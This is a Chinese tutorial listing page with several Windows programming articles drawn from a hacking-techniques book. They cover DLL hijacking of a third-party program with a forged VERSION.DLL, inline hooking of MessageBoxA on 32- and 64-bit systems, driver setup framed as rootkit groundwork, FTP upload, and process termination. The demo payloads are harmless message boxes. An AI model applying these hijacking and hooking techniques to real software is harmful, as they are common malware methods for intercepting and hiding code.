分类

类型:
不限 游戏开发 计算机程序开发 Android开发 网站开发 笔记总结 其他
评分:
不限 10 9 8 7 6 5 4 3 2 1
原创:
不限
年份:
不限 2018 2019 2020

技术文章列表

  • 基于AheadLib工具进行DLL劫持 精华

    背景或许你听过DLL劫持技术,获取你还没有尝试过DLL劫持技术。DLL劫持技术的原理是:

    由于输入表中只包含DLL名而没有它的路径名,因此加载程序必须在磁盘上搜索DLL文件。首先会尝试从当前程序所在的目录加载DLL,如果没找到,则在Windows系统目录中查找,最后是在环境变量中列出的各个目录下查找。利用这个特点,先伪造一个系统同名的DLL,提供同样的输出表,每个输出函数转向真正的系统DLL。程序调用系统DLL时会先调用当前目录下伪造的DLL,完成相关功能后,再跳到系统DLL同名函数里执行。这个过程用个形象的词来描述就是系统DLL被劫持(hijack)了。

    现在,本文就使用 AheadLib 工具生成劫持代码,对程序进行DLL劫持。现在就把实现原理和过程写成文档,分享给大家。
    实现过程本文选取劫持的程序是从网上随便下的一个程序“360文件粉碎机独立版.exe”,我们使用 PEview.exe 查看改程序的导入表,主要是看有程序需要导入哪些DLL文件。

    观察导入的DLL,类似KERNEL32.DLL、USER32.DLL等受系统保护的重要DLL,劫持难度比较大,所以,我们选择VERSION.DLL。至于,判断是不是受系统保护的DLL,可以查看注册表里面的键值,里面的DLL都是系统保护的,加载路径固定:
    HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\knowndlls然后,确定劫持的DLL文件之后,我们使用 AheadLib 工具来生成DLL劫持代码:

    接着,新建一个DLL工程,把AheadLib工具生成的代码拷贝到DLL工程中,同时,我们在DLL的入口点函数DllMain中增加一行弹窗代码,这样可以提示我们DLL劫持成功。然后编译链接,生成DLL文件。这个我们自己编译生成的DLL文件,就可以把DLL名称改成“VERSION.DLL”,放到和“360文件粉碎机独立版.exe”程序在同一目录下,运行程序,则会加载同一目录下的“VERSION.DLL”。
    为了验证DLL程序是否能成功劫持,我们把改名后的“VERSION.DLL”和“360文件粉碎机独立版.exe”放在桌面,然后,运行程序,这是,成功弹窗:

    我们使用 Process Explorer 工具查看下“360文件粉碎机独立版.exe”进程加载的DLL情况:

    可以看到,我们自己的version.dll成功被加载,而且还加载了系统的version.dll。之所以会加载系统的version.dll文件,是因为我们自己的DLL文件中,会加载version.dll文件。
    编码实现现在,我给出version.dll劫持部分入口点部分的代码,其余的代码都是使用AheadLib工具生成的,自己在入口点添加了一行弹窗的代码而已。
    // 入口函数BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved){ if (dwReason == DLL_PROCESS_ATTACH) { DisableThreadLibraryCalls(hModule); ::MessageBox(NULL, "I am Demon", "CDIY", MB_OK); return Load(); } else if (dwReason == DLL_PROCESS_DETACH) { Free(); } return TRUE;}
    总结有了AheadLib劫持代码生成工具的帮助,使得DLL劫持变得很轻松。本文的文档自己极力简化了,大家只要认真跟着步骤操作,应该可以看得懂的。
    注意,本文演示的例子实在 Windows7 32位系统上,对于64位系统,原理是一样的,对于代码劫持工具也可以换成 AheadLib 64位版本的。
    参考参考自《Windows黑客编程技术详解》一书
    1 留言 2018-12-10 09:49:26 奖励40点积分
  • 基于WinInet的FTP文件上传实现 精华

    背景对于在网络之间的文件传输,我们通常使用FTP传输协议。因为,FTP就是专门为了文件传输而生的,传输效率高,稳定性好。所以,FTP文件传输协议,是我们网络传输中常用的协议。
    为了学习这方面的开发知识,自己专门写了个使用Windows提供的WinInet库实现了FTP的文件传输的基本功能。现在,我就把基于WinInet库实现的FTP文件下载和FTP文件上传分成两个文档分别进行解析。本文介绍的是基于WinInet的FTP文件上传的实现。
    函数介绍介绍FTP上传文件使用到的主要的WinInet库中的API函数。
    1. InternetOpen 介绍
    初始化一个应用程序,以使用 WinINet 函数。
    函数声明
    HINTERNET InternetOpen(In LPCTSTR lpszAgent,In DWORD dwAccessType,In LPCTSTR lpszProxyName,In LPCTSTR lpszProxyBypass,In DWORD dwFlags);
    参数lpszAgent指向一个空结束的字符串,该字符串指定调用WinInet函数的应用程序或实体的名称。使用此名称作为用户代理的HTTP协议。dwAccessType指定访问类型,参数可以是下列值之一:



    Value
    Meaning




    INTERNET_OPEN_TYPE_DIRECT
    使用直接连接网络


    INTERNET_OPEN_TYPE_PRECONFIG
    获取代理或直接从注册表中的配置,使用代理连接网络


    INTERNETOPEN_TYPE_PRECONFIG WITH_NO_AUTOPROXY
    获取代理或直接从注册表中的配置,并防止启动Microsoft JScript或Internet设置(INS)文件的使用


    INTERNET_OPEN_TYPE_PROXY
    通过代理的请求,除非代理旁路列表中提供的名称解析绕过代理,在这种情况下,该功能的使用



    lpszProxyName指针指向一个空结束的字符串,该字符串指定的代理服务器的名称,不要使用空字符串;如果dwAccessType未设置为INTERNET_OPEN_TYPE_PROXY,则此参数应该设置为NULL。
    lpszProxyBypass指向一个空结束的字符串,该字符串指定的可选列表的主机名或IP地址。如果dwAccessType未设置为INTERNET_OPEN_TYPE_PROXY的 ,参数省略则为NULL。
    dwFlags参数可以是下列值的组合:



    VALUE
    MEANING




    INTERNET_FLAG_ASYNC
    使异步请求处理的后裔从这个函数返回的句柄


    INTERNET_FLAG_FROM_CACHE
    不进行网络请求,从缓存返回的所有实体,如果请求的项目不在缓存中,则返回一个合适的错误,如ERROR_FILE_NOT_FOUND


    INTERNET_FLAG_OFFLINE
    不进行网络请求,从缓存返回的所有实体,如果请求的项目不在缓存中,则返回一个合适的错误,如ERROR_FILE_NOT_FOUND



    返回值成功:返回一个有效的句柄,该句柄将由应用程序传递给接下来的WinInet函数。失败:返回NULL。

    2. InternetConnect 介绍
    建立 Internet 的连接。
    函数声明
    HINTERNET WINAPI InternetConnect( HINTERNET hInternet, LPCTSTR lpszServerName, INTERNET_PORT nServerPort, LPCTSTR lpszUserName, LPCTSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD dwContext);
    参数说明hInternet:由InternetOpen返回的句柄。lpszServerName:连接的ip或者主机名nServerPort:连接的端口。lpszUserName:用户名,如无置NULL。lpszPassword:密码,如无置NULL。dwService:使用的服务类型,可以使用以下

    INTERNET_SERVICE_FTP = 1:连接到一个 FTP 服务器上INTERNET_SERVICE_GOPHER = 2INTERNET_SERVICE_HTTP = 3:连接到一个 HTTP 服务器上
    dwFlags:文档传输形式及缓存标记。一般置0。dwContext:当使用回叫信号时, 用来识别应用程序的前后关系。返回值成功返回非0。如果返回0。要InternetCloseHandle释放这个句柄。

    3. FtpOpenFile 介绍
    启动访问FTP服务器上的远程文件以进行读取或写入。
    函数声明
    HINTERNET FtpOpenFile( _In_ HINTERNET hConnect, _In_ LPCTSTR lpszFileName, _In_ DWORD dwAccess, _In_ DWORD dwFlags, _In_ DWORD_PTR dwContext);
    参数

    hConnect [in]处理FTP会话。
    lpszFileName [in]指向包含要访问的文件名称的以NULL结尾的字符串。
    dwAccess [in]文件访问。 该参数可以是GENERIC_READ或GENERIC_WRITE,但不能同时使用。
    dwFlags [in]转移发生的条件。 应用程序应选择一种传输类型,以及指示文件缓存如何被控制的任何标志。传输类型可以是以下值之一。




    VALUE
    MEANING




    FTP_TRANSFER_TYPE_ASCII
    使用FTP的ASCII(类型A)传输方法传输文件。 控制和格式化信息被转换为本地等价物。


    FTP_TRANSFER_TYPE_BINARY
    使用FTP的图像(类型I)传输方法传输文件。 文件完全按照存在的方式进行传输,没有任何变化。 这是默认的传输方式。


    FTP_TRANSFER_TYPE_UNKNOWN
    默认为FTP_TRANSFER_TYPE_BINARY。


    INTERNET_FLAG_TRANSFER_ASCII
    以ASCII格式传输文件。


    INTERNET_FLAG_TRANSFER_BINARY
    将文件作为二进制文件传输。



    以下值用于控制文件的缓存。 应用程序可以使用这些值中的一个或多个。



    VALUE
    MEANING




    INTERNET_FLAG_HYPERLINK
    在确定是否从网络重新加载项目时,如果没有到期时间并且没有LastModified时间从服务器返回,则强制重新加载。


    INTERNET_FLAG_NEED_FILE
    如果无法缓存文件,则导致创建临时文件。


    INTERNET_FLAG_RELOAD
    强制从源服务器下载所请求的文件,对象或目录列表,而不是从缓存中下载。


    INTERNET_FLAG_RESYNCHRONIZE
    如果资源自上次下载以来已被修改,请重新加载HTTP资源。 所有FTP资源都被重新加载。




    dwContext [in]指向包含将此搜索与任何应用程序数据相关联的应用程序定义值的变量。 这仅在应用程序已经调用InternetSetStatusCallback来设置状态回调函数时才会使用。
    返回值

    如果成功则返回一个句柄,否则返回NULL。 要检索特定的错误消息,请调用GetLastError。

    4. InternetWriteFile 介绍
    函数声明
    BOOL InternetWriteFile( __in HINTERNET hFile,__out LPVOID lpBuffer,__in DWORD dwNumberOfBytesToRead,__out LPDWORD lpdwNumberOfBytesRead);
    参数

    hFile[in]
    由InternetOpenUrl,FtpOpenFile, 或HttpOpenRequest函数返回的句柄.
    lpBuffer[out]
    缓冲器指针
    dwNumberOfBytesToRead[in]
    欲写入数据的字节量。
    lpdwNumberOfBytesRead[out]
    接收写入字节量的变量。该函数在做任何工作或错误检查之前都设置该值为零

    返回值成功:返回TRUE,失败,返回FALSE

    实现原理首先,我们先介绍下FTP的URL格式:
    FTP://账号:密码@主机/子目录或文件例如:ftp://admin:123456@192.168.0.1/mycode/520.zip
    其中,“FTP”就表示使用FTP传输数据;“账号”即登录FTP服务器的用户名;“密码”即登录FTP服务器用户名对应的密码;“主机”表示服务器的IP地址;“子目录或文件”即要进行操作的文件或目录的路径。
    在,WinInet库中,提供了InternetCrackUrl这个函数专门用于URL的分解,在我写的《URL分解之InternetCrackUrl》则篇文章中有详细介绍和使用方法。
    那么,基于WinInet库的FTP文件上传的原理如下所示:

    首先,我们先调用对URL进行分解,从URL中获取后续操作需要的信息。
    然后,使用InternetOpen初始化WinInet库,建立网络会话。
    接着,使用InternetConnect与服务器建立连接,并设置FTP数据传输方式。
    之后,我们就可以调用FtpOpenFile函数,根据文件路径,以GENERIC_WRITE的方式创建文件,并获取服务器上文件的句柄。
    接着,就可以调用InternetWriteFile把本地文件数据上传到服务器上,写入上述创建的文件中。
    最后,关闭上述打开的句柄,进行清理工作。

    这样,就可以成功实现FTP文件上传的功能了。与服务器建立FTP连接后,我们使用WinInet库中FTP函数对服务器上文件的操作就如果使用Win32 API函数对本地文件操作一样方便。
    编码实现导入WinInet库文件#include <WinInet.h>#pragma comment(lib, "WinInet.lib")
    FTP文件上传// 数据上传// 输入:上传数据的URL路径、上传数据内容、上传数据内容长度BOOL FTPUpload(char *pszUploadUrl, BYTE *pUploadData, DWORD dwUploadDataSize){ // INTERNET_SCHEME_HTTPS、INTERNET_SCHEME_HTTP、INTERNET_SCHEME_FTP等 char szScheme[MAX_PATH] = { 0 }; char szHostName[MAX_PATH] = { 0 }; char szUserName[MAX_PATH] = { 0 }; char szPassword[MAX_PATH] = { 0 }; char szUrlPath[MAX_PATH] = { 0 }; char szExtraInfo[MAX_PATH] = { 0 }; ::RtlZeroMemory(szScheme, MAX_PATH); ::RtlZeroMemory(szHostName, MAX_PATH); ::RtlZeroMemory(szUserName, MAX_PATH); ::RtlZeroMemory(szPassword, MAX_PATH); ::RtlZeroMemory(szUrlPath, MAX_PATH); ::RtlZeroMemory(szExtraInfo, MAX_PATH); // 分解URL if (FALSE == Ftp_UrlCrack(pszUploadUrl, szScheme, szHostName, szUserName, szPassword, szUrlPath, szExtraInfo, MAX_PATH)) { return FALSE; } if (0 < ::lstrlen(szExtraInfo)) { // 注意此处的连接 ::lstrcat(szUrlPath, szExtraInfo); } HINTERNET hInternet = NULL; HINTERNET hConnect = NULL; HINTERNET hFTPFile = NULL; DWORD dwBytesReturn = 0; BOOL bRet = FALSE; do { // 建立会话 hInternet = ::InternetOpen("WinInet Ftp Upload V1.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); if (NULL == hInternet) { Ftp_ShowError("InternetOpen"); break; } // 建立连接 hConnect = ::InternetConnect(hInternet, szHostName, INTERNET_INVALID_PORT_NUMBER, szUserName, szPassword, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0); if (NULL == hConnect) { Ftp_ShowError("InternetConnect"); break; } // 打开FTP文件, 文件操作和本地操作相似 hFTPFile = ::FtpOpenFile(hConnect, szUrlPath, GENERIC_WRITE, FTP_TRANSFER_TYPE_BINARY | INTERNET_FLAG_RELOAD, NULL); if (NULL == hFTPFile) { Ftp_ShowError("FtpOpenFile"); break;; } // 上传数据 bRet = ::InternetWriteFile(hFTPFile, pUploadData, dwUploadDataSize, &dwBytesReturn); if (FALSE == bRet) { break; } } while (FALSE); // 释放内存并关闭句柄 if (NULL != hFTPFile) { ::InternetCloseHandle(hFTPFile); } if (NULL != hConnect) { ::InternetCloseHandle(hConnect); } if (NULL != hInternet) { ::InternetCloseHandle(hInternet); } return bRet;}
    程序测试在 main 函数中调用上述封装好的函数,进行测试。main 函数为:
    int _tmain(int argc, _TCHAR* argv[]){ if (FALSE == FTPUpload("ftp://admin:123456789@192.168.0.1/myftpuploadtest.txt", (BYTE *)"Hello Wolrd", 12)) { printf("FTP Upload Error.\n"); } printf("FTP Upload OK.\n"); system("pause"); return 0;}
    测试结果
    运行程序,程序提示上传成功。然后,使用FTP管理工具,查看服务器目录,发现文件上传成功。

    然后,打开文件,查看文件数据内容,数据正确,所以程序测试成功。

    总结在打开Internet会话并和服务器建立连接后,接下来使用WinInet库中的FTP函数对服务器上的文件操作,就如同在自己的计算机上使用Win32 API函数操作一样。都是打开或者创建文件,获取文件句柄,然后根据文件句柄,调用函数对文件进行读写操作,最后,关闭文件句柄。
    所以,大家注意和本地的文件操作进行类比下,就很容易理解了。
    参考参考自《Windows黑客编程技术详解》一书
    1 留言 2018-12-08 09:27:35 奖励22点积分
  • 使用VS2013搭建内核开发环境并使用VS2013自带的WinDbg双机调试有源码的驱动程序

    背景想要学习内核 Rootkit 开发,那么第一件事就是要搭建好开发环境,第二件事情就是要了解如何调试驱动代码。这两点区别,和使用 VS2013 开发应用程序完全不同。在内核下,我们使用的是 WinDbg 来双机调试。所谓的双机调试,就是指有两台计算机,一台计算机上面运行要调试的程序,另一台计算机上面运行 WinDbg 来调试程序,两台计算机之间可以通过串口通信。
    本文介绍的是使用 VS2013 开发环境开发驱动程序的环境配置,以及使用 VMWare 虚拟机搭建双机调试环境,实现使用 VS2013 开发环境自带的 WinDbg 调试开发的有源码的驱动程序。现在,我就把实现过程整理成文档,分享给大家。
    实现过程使用 VS2013 开发驱动程序VS2013 要进行驱动开发,必须先安装 WDK8.1,可以在 微软驱动开发官网 上进行下载。注意,下载的 WDK 一定要对应自己的 VS 版本,VS2013 就下载 WDK8.1。
    安装完毕 WDK8.1 之后,我们就可以使用 VS2013 创建驱动项目工程,开发驱动程序了。具体的步骤为:

    运行 VS2013 开发环境,点击菜单栏“文件” —> “新建” —> “项目” —> “模板” —> “Visual C++” —> “Windows Driver” —> “Empty WDM Driver”。要注意的是,WDK8.1 提供的模板中没有提供 NT 驱动模板,但是我们可以新建 WDM空模板 工程,然后向工程项目中添加头文件、代码文件,编译链接之后,生成的驱动程序就是 NT 驱动了。


    建立工程后,首先会有两个工程,一个就是驱动工程,另外一个是 Package 工程(这个是测试驱动安装的一个工程,对于 NT 驱动来说其实没有什么用处,可以直接删除)。驱动工程中会帮你建立一个 inf 文件,NT是使用不到的(当然新一代的过滤驱动,例如 Minifilter 是使用的,VS2013 支持直接创建 Minifilter 工程),可以直接删除。
    由于创建的是一个空项目,所以需要我们自己手动添加代码文件。直接添加一个Driver.c(有很多人说使用C++开发驱动,但是个人还是觉得使用 C 开发比较适合,因为微软内核使用的也是 C,而且 C 是能够直接操作内存。),并声明头文件、编写入口点函数 DriverEntry:



    接下来,编译驱动代码,报错。没有关系,查看出错原因,无外乎一些警告被当做错误,或者一些函数参数没有被使用,导致编译不过,这些都是因为安全警告等级太高了,我们可以分两种方式解决:

    一是将所有的警告和安全措施,全部都做到。例如没有使用的参数使用宏UNREFERENCED_PARAMETER等等。要做到这些,有时候基本没有办法写程序。
    二是降低警告等级。具体步骤为:

    打开项目属性页;
    C/C++ —> 常规 —> 警告等级选择“等级3(/W3)” —> 将警告视为错误选择“否(/WX-)”;
    链接器 —> 常规 —> 将链接器警告视为错误选择“否(/WX:NO)”;
    Driver Signing —> General —> Sign Mode 选择“Off”。






    设置完毕后,再编译链接驱动代码,成功生成 .sys 驱动程序。接下来,我们就开始讲解 WinDbg 双机调试。
    双机调试VMware虚拟机设置
    打开相应 WMware 虚拟机上的 “Edit virtaul machine settings”。


    “Hardware”选项中 —> 点击“Add”,添加一个串口设备 Serial Port 。如果有打印机(Printer)存在,则先移除虚拟机的 打印机 硬件,然后再添加串口设备 Serial Port,因为打印机会占用串口 COM1。


    “Next”,在“Serial Port” 里选中 “Output to named pipe”。


    “next”,然后如下设置:


    “Finish”之后,回到如下“Virtual Machine Settings”页面,在“I/O Mode” 里选中“Yield CPU on poll”。


    点击“OK”之后,WMware 虚拟机设置就完成了。接下来,我们开机,进入虚拟机系统中,并对虚拟机系统进行设置,将其设置成调试模式。
    虚拟机里的操作系统设置
    如果操作系统不是 Win10,则开机进入桌面后,在运行窗口输入 msconfig —> 引导 —> 高级选项 —> 调试 —> 确定。


    如果操作系统是 Win10,则

    在设置 —> 安全和更新 —> 针对开发人员 —> 开发人员模式;



    管理员身份运行CMD,输入 bcdedit /set testsigning on 开启测试模式;


    在运行窗口输入 msconfig —> 引导 —> 高级选项 —> 调试 —> 确定;


    关机重启,这样虚拟机里的操作系统就设置完成了。接下来,就开始配置 VS2013,使用 VS2013 上的 WinDbg 调试程序。
    VS2013 驱动调试配置
    点击菜单栏“DRIVER” —> “Test” —> “Configure Computers…”;


    然后,点击“Add New Conputer”,添加配置信息。


    接着,选中“Manually configure debuggers and do not provision”,点击“下一步”;


    最后,选中“Serial”通信,波特率为“115200”,勾选“Pipe”,勾选“Reconnect”,管道名称为“\.\pipe\com_1”,目标端口为“com1”;这只完后,点击下一步即可完成 VS2013 上面的调试配置。

    开始正式调试当配置好 VMware 虚拟机环境以及 VS2013 上面的调试环境之后,我们就可以来调试驱动程序了。调试方法和调试应用程序一样,先下断点、然后运行程序,程序执行到断点处就会停下。但在双机调试下,就会变成:

    首先,我们使用快捷键 F9 在驱动程序代码上下断点,再按下 F5 运行程序,会弹出提示框,我们选择继续调试:



    这时,驱动程序就一直处于 waiting to reoonnect… 状态。要特别特别特别注意:在 VMware 虚拟机中加载驱动程序之前,我们先在 VS2013 暂停下调试,暂停成功后,再按 F5 继续调试,这时才去 VMware 中加载驱动程序。
    如果不先暂停的话,加载运行驱动程序,代码断点不能成功断下来。暂停之后,可以成功断下来。这可能是一个 Bug 吧,反正大家如果遇到断不下来的情况,都先试试先暂停,再运行调试这种办法吧。




    我们到 VMware 中加载运行驱动程序,VS2013 成功在断点处断下。那么,这时,我们就可以使用快捷键 F5、F9、F10、F11,像调试应用层序那样调试驱动程序了。

    总结步骤并不复杂,只是啰嗦而已。大家细心点跟着上述教程,认真操作就可以成功开发驱动程序,并使用 WinDbg 实现双机调试驱动程序源码。
    参考参考自《Windows黑客编程技术详解》一书
    1 留言 2018-11-11 08:52:25 奖励20点积分
  • 实现32位和64位系统的Inline Hook API 精华

    背景API HOOK技术是一种用于改变API执行结果的技术,Microsoft 自身也在 Windows 操作系统里面使用了这个技术,如Windows兼容模式等。 API HOOK 技术并不是计算机病毒专有技术,但是计算机病毒经常使用这个技术来达到隐藏自己的目的。
    本文就是向大家讲解在 32 位系统和 64 位系统下的 Inline Hook Api 技术的具体实现,现在,我就把实现思路和原理整理成文档,分享给大家。
    实现原理我们程序的 Inline Hook API 实现原理不难理解,核心原理就是获取进程中,指定 API 函数的地址,然后修改该函数入口地址的前几个字节,修改为跳转到我们的新 API 函数,执行我们自己的操作。
    要注意区分 32 位系统和 64 位系统,因为 32 位和 64 位系统的指针长度是不同的,导致地址长度也不同。32 位下用 4 字节表示地址,而 64 位下使用 8 字节来表示地址。
    在 32 位下,汇编跳转语句为:
    jmp _dwNewAddress
    机器码为:
    e9 _dwOffset(跳转偏移)
    其中,要注意理解跳转偏移的计算方法:
    addr1 --> jmp _dwNewAddress指令的下一条指令的地址,即 eip 的值addr2 --> 跳转地址的值,即 _dwNewAddress 的值跳转偏移 _dwOffset = addr2 - addr1
    在 64 位下,汇编跳转语句为:
    mov rax, _dwNewAddress(0x1122334455667788)jmp rax
    机器码为:
    48 b8 _dwNewAddress(0x1122334455667788)ff e0
    所以,32 位下要更改前 5 字节数据; 64 位下要更改前 12 字节数据。
    那么 HOOK 的流程为:

    首先,我们从进程中获取 HOOK API 对应的模块基址,这样,就可以使用 GetProcAddress 函数获取 API 函数的在进程中的地址。
    然后,我们根据 32 位和 64 位版本,计算 HOOK API 函数的前几字节数据。
    接着,修改 API 函数的前几字节数据的页面保护属性,更改为可读、可写、可执行,然后,我们便获取原来前几字节数据后,再写入新的跳转数据。
    最后,还原页面保护属性。

    UNHHOK 的流程基本上和 HOOK 的流程是一样的,只不过这次写入的数据是之前保存的前几字节数据。这样,API函数又恢复正常了。
    编码实现Hook API// Hook ApiBOOL HookApi_MessageBoxA(){ // 获取 user32.dll 模块加载基址 HMODULE hDll = ::GetModuleHandle("user32.dll"); if (NULL == hDll) { return FALSE; } // 获取 MessageBoxA 函数的导出地址 PVOID OldMessageBoxA = ::GetProcAddress(hDll, "MessageBoxA"); if (NULL == OldMessageBoxA) { return FALSE; } // 计算写入的前几字节数据, 32位下5字节, 64位下12字节#ifndef _WIN64 // 32位 // 汇编代码:jmp _dwNewAddress // 机器码位:e9 _dwOffset(跳转偏移) // addr1 --> jmp _dwNewAddress指令的下一条指令的地址,即eip的值 // addr2 --> 跳转地址的值,即_dwNewAddress的值 // 跳转偏移 _dwOffset = addr2 - addr1 BYTE pNewData[5] = {0xe9, 0, 0, 0, 0}; DWORD dwNewDataSize = 5; DWORD dwOffset = 0; // 计算跳转偏移 dwOffset = (DWORD)NewMessageBoxA - ((DWORD)OldMessageBoxA + 5); ::RtlCopyMemory(&pNewData[1], &dwOffset, sizeof(dwOffset));#else // 64位 // 汇编代码:mov rax, _dwNewAddress(0x1122334455667788) // jmp rax // 机器码是: // 48 b8 _dwNewAddress(0x1122334455667788) // ff e0 BYTE pNewData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0}; DWORD dwNewDataSize = 12; ULONGLONG ullNewFuncAddr = (ULONGLONG)NewMessageBoxA; ::RtlCopyMemory(&pNewData[2], &ullNewFuncAddr, sizeof(ullNewFuncAddr));#endif // 设置页面的保护属性为 可读、可写、可执行 DWORD dwOldProtect = 0; ::VirtualProtect(OldMessageBoxA, dwNewDataSize, PAGE_EXECUTE_READWRITE, &dwOldProtect); // 保存原始数据 ::RtlCopyMemory(g_pOldData, OldMessageBoxA, dwNewDataSize); // 开始修改 MessageBoxA 函数的前几字节数据, 实现 Inline Hook API ::RtlCopyMemory(OldMessageBoxA, pNewData, dwNewDataSize); // 还原页面保护属性 ::VirtualProtect(OldMessageBoxA, dwNewDataSize, dwOldProtect, &dwOldProtect); return TRUE;}
    Unhook Api// Unhook ApiBOOL UnhookApi_MessageBoxA(){ // 获取 user32.dll 模块加载基址 HMODULE hDll = ::GetModuleHandle("user32.dll"); if (NULL == hDll) { return FALSE; } // 获取 MessageBoxA 函数的导出地址 PVOID OldMessageBoxA = ::GetProcAddress(hDll, "MessageBoxA"); if (NULL == OldMessageBoxA) { return FALSE; } // 计算写入的前几字节数据, 32位下5字节, 64位下12字节#ifndef _WIN64 DWORD dwNewDataSize = 5;#else DWORD dwNewDataSize = 12;#endif // 设置页面的保护属性为 可读、可写、可执行 DWORD dwOldProtect = 0; ::VirtualProtect(OldMessageBoxA, dwNewDataSize, PAGE_EXECUTE_READWRITE, &dwOldProtect); // 恢复数据 ::RtlCopyMemory(OldMessageBoxA, g_pOldData, dwNewDataSize); // 还原页面保护属性 ::VirtualProtect(OldMessageBoxA, dwNewDataSize, dwOldProtect, &dwOldProtect); return TRUE;}
    新 API 函数// 新的 APIint WINAPI NewMessageBoxA( HWND hWnd, // handle to owner window LPCTSTR lpText, // text in message box LPCTSTR lpCaption, // message box title UINT uType // message box style ){ // Unhook UnhookApi_MessageBoxA(); // 获取 user32.dll 模块加载基址 HMODULE hDll = ::GetModuleHandle("user32.dll"); if (NULL == hDll) { return FALSE; } // 获取 MessageBoxA 函数的导出地址 typedef_MessageBoxA OldMessageBoxA = (typedef_MessageBoxA)::GetProcAddress(hDll, "MessageBoxA"); if (NULL == OldMessageBoxA) { return FALSE; } int iRet = OldMessageBoxA(hWnd, "I am Nobody!!!", "Who Am I", MB_YESNO); // Hook HookApi_MessageBoxA(); return iRet;}
    程序测试我们直接运行一个加载程序,首先,先调用 MessageBoxA 函数,这是还没有执行 API HOOK,正常弹窗:

    然后,使程序加载 InlineHookApi_Test.dll ,这样,DLL 便会在入口点函数 DllMain 中就开始 Hook 进程中的 MessageBoxA 函数。在调用 MessageBoxA 函数进行测试,数据成功更改,HOOK API 成功:

    测试了 32 位版本系统成功,测试了 64 位版本系统也成功。
    总结要注意两个地方:

    一是在修改导出函数地址前几字节数据的时候,建议先对页面属性保护重新设置一下,可以调用 VirtualProtect 函数将页面属性保护设置成 可读、可写、可执行的属性 PAGE_EXECUTE_READWRITE。这样,我们在对这块内存操作的时候,就不会报错。
    二是我们在创建新的API来替代就的API函数的时候,新API函数声明一定要加上 WINAPI(__stdcall)的函数调用约定,否则新函数会默认使用 C 语言的调用约定。否则,会在函数返回,堆栈平衡操作的时候会报错的。

    参考参考自《Windows黑客编程技术详解》一书
    3 留言 2018-12-03 08:51:07 奖励40点积分
  • 使用TerminateProcess函数实现结束指定进程

    背景对于计算机上面的进程我们比较熟悉了,每次只要我们想关闭那些关闭掉的窗口或程序的时候,我们就会打开任务管理器,然后在里面选中进程,右击结束进程,那么程序就会关掉了。
    本文要介绍的,正是如何使用 TerminateProcess 函数结束进程,实现与任务管理器相同的结束进程功能。现在,我就把程序实现的过程和原理整理成文档,分享给大家。
    函数介绍OpenProcess 函数
    打开现有的本地进程对象。
    函数声明
    HANDLE WINAPI OpenProcess( _In_ DWORD dwDesiredAccess, _In_ BOOL bInheritHandle, _In_ DWORD dwProcessId);
    参数

    dwDesiredAccess [in]访问进程对象。此访问权限针对进程的安全描述符进行检查。此参数可以是一个或多个进程访问权限。如果调用该函数的进程启用了SeDebugPrivilege权限,则无论安全描述符的内容如何,都会授予所请求的访问权限。bInheritHandle [in]若此值为TRUE,则此进程创建的进程将继承该句柄。否则,进程不会继承此句柄。dwProcessId [in]要打开的本地进程的标识符。如果指定的进程是系统进程(0x00000000),则该函数失败,最后一个错误代码为ERROR_INVALID_PARAMETER。如果指定的进程是空闲进程或CSRSS进程之一,则此功能将失败,并且最后一个错误代码为ERROR_ACCESS_DENIED,因为它们的访问限制会阻止用户级代码打开它们。如果您使用GetCurrentProcessId作为此函数的参数,请考虑使用GetCurrentProcess而不是OpenProcess,以提高性能。
    返回值

    如果函数成功,则返回值是指定进程的打开句柄。如果函数失败,返回值为NULL。 要获取扩展错误信息,请调用GetLastError。

    TerminateProcess 函数
    终止指定的进程及其所有线程。
    函数声明
    BOOL WINAPI TerminateProcess( _In_ HANDLE hProcess, _In_ UINT uExitCode);
    参数

    hProcess [in]要终止的进程的句柄。句柄必须具有PROCESS_TERMINATE访问权限。 uExitCode [in]进程使用的退出代码和作为此调用的结果而终止的线程。
    返回值

    如果函数成功,则返回值不为零。如果函数失败,返回值为零。 要获取扩展错误信息,请调用GetLastError。

    实现过程从上面的函数介绍知道,要想使用 TerminateProcess 函数,首先,我们先要获取进程句柄。那么,获取进程的句柄,我们可以调用 OpenProcess 函数根据进程的 PID 打开进程并获取进程句柄。
    对于 OpenProcess 函数,第 1 个参数表示设置访问进程的权限,本文指定了权限 PROCESS_TERMINATE ,是因为 TerminateProcess 函数要求进程句柄要有访问权限 PROCESS_TERMINATE;第 2 个参数表示是否继承句柄,FALSE表示不继承;第 3 个参数表示要打开进程的PID。 在 OpenProcess 函数成功执行后,便返回进程句柄。
    // 打开进程, 获取进程句柄 HANDLE hProcess = ::OpenProcess(PROCESS_TERMINATE, FALSE, dwProcessId); if (NULL == hProcess) { ShowError("OpenProcess"); return FALSE; }
    然后,我们使用 TerminateProcess 函数结束进程。其中,第 1 个参数表示进程的句柄,要求进程句柄包含有 PROCESS_TERMINATE 访问权限;第 2 个参数表示设置一个退出代码,这个值可以任意设值。
    // 结束进程 BOOL bRet = ::TerminateProcess(hProcess, 0); if (FALSE == bRet) { ::CloseHandle(hProcess); ShowError("TerminateProcess"); return FALSE; }
    这样,经过上面的两步操作,就可以实现将指定进程结束掉。
    编程实现BOOL TerminateProcessTest(DWORD dwProcessId){ // 打开进程, 获取进程句柄 HANDLE hProcess = ::OpenProcess(PROCESS_TERMINATE, FALSE, dwProcessId); if (NULL == hProcess) { ShowError("OpenProcess"); return FALSE; } // 结束进程 BOOL bRet = ::TerminateProcess(hProcess, 0); if (FALSE == bRet) { ::CloseHandle(hProcess); ShowError("TerminateProcess"); return FALSE; } // 关闭进程句柄 ::CloseHandle(hProcess); return TRUE;}
    程序测试我们直接运行程序,输入要结束进程的PID,指定进程成功被结束。

    总结要注意的是,使用 OpenProcess 函数打开进程的时候,设置的访问权限一定要包含 PROCESS_TERMINATE 权限,否则调用 TerminateProcess 函数会出错。
    这个程序可以结束普通权限的进程,也可以结束一些以管理员权限运行的进程。但是,对于一些系统进程,或者进行进程保护处理的程序,则超过此程序的功能范围了。
    参考参考自《Windows黑客编程技术详解》一书
    1 留言 2018-12-06 10:10:41 奖励10点积分
  • 使用FindFirstFile和FindNextFile函数实现文件搜索遍历

